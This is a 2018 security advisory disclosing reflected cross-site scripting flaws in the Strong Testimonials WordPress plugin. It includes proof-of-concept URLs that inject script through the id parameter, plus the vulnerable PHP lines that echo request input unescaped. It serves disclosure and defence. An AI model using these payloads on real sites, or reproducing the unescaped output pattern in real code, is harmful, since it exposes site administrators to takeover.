WordPress Strong Testimonials 2.31.4 Cross Site Scripting

`DefenseCode ThunderScan SAST Advisory: WordPress Strong Testimonials  
Plugin Multiple XSS Security Vulnerabilities  
  
  
Advisory ID: DC-2018-05-007  
Advisory Title: WordPress Strong Testimonials Plugin Multiple XSS  
Vulnerabilities  
Advisory URL: http://www.defensecode.com/advisories.php  
Software: WordPress Strong Testimonials plugin  
Language: PHP  
Version: 2.31.4 and below  
Vendor Status: Vendor contacted, update released  
Release Date: 2018/07/24  
Risk: Medium  
  
  
  
1. General Overview  
===================  
During the security audit of Strong Testimonials plugin for WordPress  
CMS, multiple XSS vulnerabilities were discovered using DefenseCode  
ThunderScan application source code security analysis platform.  
  
More information about ThunderScan is available at URL:  
http://www.defensecode.com  
  
  
2. Software Overview  
====================  
According to the plugin developers, with Strong Testimonials plugin  
you will be collecting and publishing your testimonials or reviews.  
Beginners and pros alike will appreciate the wealth of flexible  
features refined over 4 years from user feedback and requests.  
  
According to wordpress.org, it has more than 50,000 active installs.  
  
Homepage:  
https://wordpress.org/plugins/strong-testimonials/  
  
  
3. Vulnerability Description  
============================  
During the security analysis, ThunderScan discovered Cross-Site  
Scripting vulnerabilities in Strong Testimonials WordPress plugin.  
  
The Cross-Site Scripting vulnerability can enable the attacker to  
construct the URL that contains malicious JavaScript code. If the  
administrator of the site makes a request to such an URL, the  
attacker's code will be executed, with unrestricted access to the  
WordPress site in question. The attacker can entice the administrator  
to visit the URL in various ways, including sending the URL by email,  
posting it as a part of the comment on the vulnerable site or another  
forum.  
  
3.1 Cross-Site Scripting  
Vulnerable Function: echo()  
Vulnerable Variable: $_REQUEST['id']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/edit.php?post_type=wpm-testimonial&page=testimonial-views&action=edit&id=2"></script><script>alert(42)</script>  
File: strong-testimonials/admin/views.php  
---------  
48 wpmtst_view_settings( $_REQUEST['action'], $_REQUEST['id'] );  
...  
106 function wpmtst_view_settings( $action = '', $view_id = null ) {  
...  
213 <input type="hidden" name="view[id]" value="<?php echo $view_id; ?>">  
---------  
  
3.2 Cross-Site Scripting  
Vulnerable Function: echo()  
Vulnerable Variable: $_REQUEST['id']  
Vulnerable URL:  
http://vulnerablesite.com/wp-admin/edit.php?post_type=wpm-testimonial&page=testimonial-views&action=edit&id=2"></script><script>alert(42)</script>  
File: strong-testimonials/admin/views.php  
---------  
48 wpmtst_view_settings( $_REQUEST['action'], $_REQUEST['id'] );  
...  
106 function wpmtst_view_settings( $action = '', $view_id = null ) {  
...  
219 <?php include( 'partials/views/view-shortcode.php' ); ?>  
---------  
File:  
strong-testimonials/admin/partials/views/view-shortcode.php  
---------  
5 $shortcode .= '<input id="view-shortcode" type="text"  
value="[testimonial_view id="' . $view_id . '"]" readonly  
/>';  
...  
21 <?php echo $shortcode; ?>  
---------  
  
  
4. Solution  
===========  
After the vulnerabilities were reported the vendor resolved the  
security issues. All users are strongly advised to update WordPress  
Strong Testimonials plugin to the latest available version.  
  
  
5. Credits  
==========  
Discovered by Neven Biruski using DefenseCode ThunderScan source code  
security analyzer.  
  
  
6. Disclosure Timeline  
======================  
2018/05/24 Vulnerabilities discovered  
2018/05/29 Vendor contacted  
2018/06/01 Update released  
2018/07/24 Advisory released to the public  
  
  
7. About DefenseCode  
====================  
DefenseCode L.L.C. delivers products and services designed to analyze  
and test web, desktop and mobile applications for security  
vulnerabilities.  
  
DefenseCode ThunderScan is a SAST (Static Application Security  
Testing, WhiteBox Testing) solution for performing extensive security  
audits of application source code. ThunderScan SAST performs fast and  
accurate analyses of large and complex source code projects delivering  
precise results and low false positive rate.  
  
DefenseCode WebScanner is a DAST (Dynamic Application Security  
Testing, BlackBox Testing) solution for comprehensive security audits  
of active web applications. WebScanner will test a website's security  
by carrying out a large number of attacks using the most advanced  
techniques, just as a real attacker would.  
  
Subscribe for free software trial on our website  
http://www.defensecode.com/ .  
  
E-mail: defensecode[at]defensecode.com  
  
Website: http://www.defensecode.com  
Twitter: https://twitter.com/DefenseCode/  
  
`